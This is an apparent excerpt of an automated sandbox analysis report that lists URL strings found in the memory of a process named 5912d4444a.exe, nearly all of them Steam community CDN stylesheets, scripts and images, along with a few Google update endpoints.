Source: manifest.json.8.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: f4ffcbdd-5507-4113-9e39-def5cfecd09e.tmp.9.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: chromecache_487.3.dr	String found in binary or memory: https://clients6.google.com
Source: 5912d4444a.exe, 0000001F.00000002.3289202367.0000000000885000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fas
Source: 5912d4444a.exe, 0000001F.00000003.2938559682.0000000000885000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938740486.0000000000885000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938868922.0000000000899000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fas_T
Source: 5912d4444a.exe, 0000001F.00000002.3289202367.0000000000885000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938559682.0000000000885000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938740486.0000000000885000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938868922.0000000000899000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamst
Source: 5912d4444a.exe, 0000001F.00000002.3289202367.0000000000885000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938559682.0000000000885000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938740486.0000000000885000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938868922.0000000000899000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.c
Source: 5912d4444a.exe, 00000019.00000003.2796563852.00000000008E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/
Source: 5912d4444a.exe, 0000001F.00000002.3289202367.0000000000885000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/)U
Source: 5912d4444a.exe, 00000019.00000003.2796536615.0000000000916000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805337265.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805524502.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938248726.00000000008D4000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938559682.0000000000885000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938740486.0000000000885000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938665307.00000000008D7000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938868922.0000000000899000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212719388.0000000001201000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/applications/community/main.css?v=h6HMV-M6cfAX&a
Source: 5912d4444a.exe, 00000019.00000003.2796536615.0000000000916000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805337265.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805524502.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938248726.00000000008D4000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938559682.0000000000885000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938740486.0000000000885000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938665307.00000000008D7000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938868922.0000000000899000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212763245.00000000011EF000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212719388.0000000001201000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/globalv2.css?v=1Zpka7DM_TWk&l=english
Source: 5912d4444a.exe, 00000019.00000003.2796536615.0000000000916000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805337265.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805524502.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938248726.00000000008D4000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938665307.00000000008D7000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212763245.00000000011EF000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212719388.0000000001201000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=qM6wpZLwO_gf&amp
Source: 5912d4444a.exe, 00000019.00000003.2796536615.0000000000916000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805337265.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805524502.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938248726.00000000008D4000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938665307.00000000008D7000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212763245.00000000011EF000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212719388.0000000001201000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=g2Zx7e0yBV_M&l=english
Source: 5912d4444a.exe, 00000019.00000003.2796536615.0000000000916000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805337265.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805524502.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000002.3289202367.0000000000885000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938248726.00000000008D4000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938559682.0000000000885000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938740486.0000000000885000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938665307.00000000008D7000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938868922.0000000000899000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212763245.00000000011EF000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212719388.0000000001201000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=.VpiwkLAYt9r1
Source: 5912d4444a.exe, 0000001F.00000003.2938559682.0000000000885000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938740486.0000000000885000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938868922.0000000000899000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/profile
Source: 5912d4444a.exe, 00000019.00000003.2796536615.0000000000916000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805337265.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805524502.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938248726.00000000008D4000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938665307.00000000008D7000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212763245.00000000011EF000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212719388.0000000001201000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=ftiDdX_V0QeB&l=englis
Source: 5912d4444a.exe, 00000019.00000003.2805548948.00000000008C8000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2796536615.0000000000916000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805337265.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805524502.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938248726.00000000008D4000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938665307.00000000008D7000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212719388.0000000001201000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: 5912d4444a.exe, 00000019.00000003.2805655232.00000000008BD000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2796536615.0000000000916000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805337265.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805524502.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938248726.00000000008D4000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938665307.00000000008D7000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212763245.000000000120D000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212719388.0000000001201000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: 5912d4444a.exe, 0000001F.00000003.2938559682.0000000000885000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938740486.0000000000885000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938868922.0000000000899000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af
Source: 5912d4444a.exe, 00000019.00000003.2805655232.00000000008BD000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2796536615.0000000000916000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805337265.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805524502.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938248726.00000000008D4000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938665307.00000000008D7000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212719388.0000000001201000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: 5912d4444a.exe, 00000019.00000003.2805548948.00000000008C8000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2796536615.0000000000916000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805337265.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805524502.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938248726.00000000008D4000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938665307.00000000008D7000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212719388.0000000001201000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/main.js?v=KLqJaM1v
Source: 5912d4444a.exe, 00000019.00000003.2805655232.00000000008BD000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2796536615.0000000000916000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805337265.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805524502.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938248726.00000000008D4000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938559682.0000000000885000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938740486.0000000000885000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938665307.00000000008D7000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938868922.0000000000899000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212719388.0000000001201000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=TONm
Source: 5912d4444a.exe, 00000019.00000003.2796536615.0000000000916000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805337265.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805524502.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938248726.00000000008D4000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938559682.0000000000885000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938740486.0000000000885000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938665307.00000000008D7000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938868922.0000000000899000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212763245.00000000011EF000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212719388.0000000001201000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/global.js?v=0IXKH44IpF1u&l=english
Source: 5912d4444a.exe, 00000019.00000003.2796536615.0000000000916000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805337265.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805524502.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938248726.00000000008D4000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938665307.00000000008D7000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212763245.00000000011EF000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212719388.0000000001201000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC
Source: 5912d4444a.exe, 00000019.00000003.2796536615.0000000000916000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805337265.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805524502.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938248726.00000000008D4000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938559682.0000000000885000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938740486.0000000000885000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938665307.00000000008D7000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938868922.0000000000899000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212763245.00000000011EF000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212719388.0000000001201000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalContent.js?v=1vfyNnvUqkgy&l=engl
Source: 5912d4444a.exe, 00000019.00000003.2796536615.0000000000916000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805337265.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805524502.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938248726.00000000008D4000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938559682.0000000000885000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938740486.0000000000885000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938665307.00000000008D7000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938868922.0000000000899000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212763245.00000000011EF000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212719388.0000000001201000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=english
Source: 5912d4444a.exe, 0000001F.00000003.2938559682.0000000000885000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938740486.0000000000885000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938868922.0000000000899000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/profile.js?v=f9;S
Source: 5912d4444a.exe, 00000019.00000003.2796536615.0000000000916000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805337265.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805524502.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938248726.00000000008D4000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938665307.00000000008D7000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212763245.00000000011EF000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212719388.0000000001201000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/profile.js?v=f9Xv_dG_70Ca&l=english
Source: 5912d4444a.exe, 00000019.00000003.2796536615.0000000000916000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805337265.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805524502.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938248726.00000000008D4000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938665307.00000000008D7000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212763245.00000000011EF000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212719388.0000000001201000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=Gr5o1d5GQef0&l=en
Source: 5912d4444a.exe, 00000019.00000003.2796536615.0000000000916000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805337265.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805524502.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938248726.00000000008D4000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938665307.00000000008D7000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212763245.00000000011EF000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212719388.0000000001201000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw
Source: 5912d4444a.exe, 00000019.00000003.2796536615.0000000000916000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805337265.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805524502.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938248726.00000000008D4000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938665307.00000000008D7000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212763245.00000000011EF000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212719388.0000000001201000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&l=e
Source: 5912d4444a.exe, 00000019.00000003.2796536615.0000000000916000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805337265.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805524502.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938248726.00000000008D4000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938559682.0000000000885000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938740486.0000000000885000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938665307.00000000008D7000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938868922.0000000000899000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212763245.00000000011EF000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212719388.0000000001201000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL
Source: 5912d4444a.exe, 0000001F.00000003.2938559682.0000000000885000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938740486.0000000000885000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938868922.0000000000899000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/webui/clientcom.js?v=g9
Source: 5912d4444a.exe, 00000019.00000003.2796536615.0000000000916000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805337265.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805524502.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938248726.00000000008D4000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938665307.00000000008D7000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212763245.00000000011EF000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212719388.0000000001201000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/webui/clientcom.js?v=g9lbYg_WDvLO&l=e
Source: 5912d4444a.exe, 00000019.00000003.2796536615.0000000000916000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805337265.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805524502.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000002.3289202367.0000000000885000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938248726.00000000008D4000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938559682.0000000000885000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938740486.0000000000885000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938665307.00000000008D7000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938868922.0000000000899000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212763245.00000000011EF000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212719388.0000000001201000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=HNbD--FePQTr&l=english
Source: 5912d4444a.exe, 00000022.00000003.3212719388.0000000001201000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=ij4Q-MLeHxnJ&l=engl
Source: 5912d4444a.exe, 0000001F.00000002.3289202367.0000000000885000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.csscU
Source: 5912d4444a.exe, 00000019.00000003.2796536615.0000000000916000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805337265.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805524502.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938248726.00000000008D4000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938665307.00000000008D7000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212763245.00000000011EF000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212719388.0000000001201000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=2VOT8-1_tx9Q&l=en
Source: 5912d4444a.exe, 00000019.00000003.2796536615.0000000000916000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805337265.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805524502.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938248726.00000000008D4000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938665307.00000000008D7000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212763245.00000000011EF000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212719388.0000000001201000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=fK65ckRAjZr-&
Source: 5912d4444a.exe, 00000019.00000003.2796536615.0000000000916000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805337265.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805524502.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938248726.00000000008D4000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938665307.00000000008D7000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212719388.0000000001201000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: 5912d4444a.exe, 00000019.00000003.2796536615.0000000000916000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805337265.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805524502.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938248726.00000000008D4000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938665307.00000000008D7000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212719388.0000000001201000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_logo.png
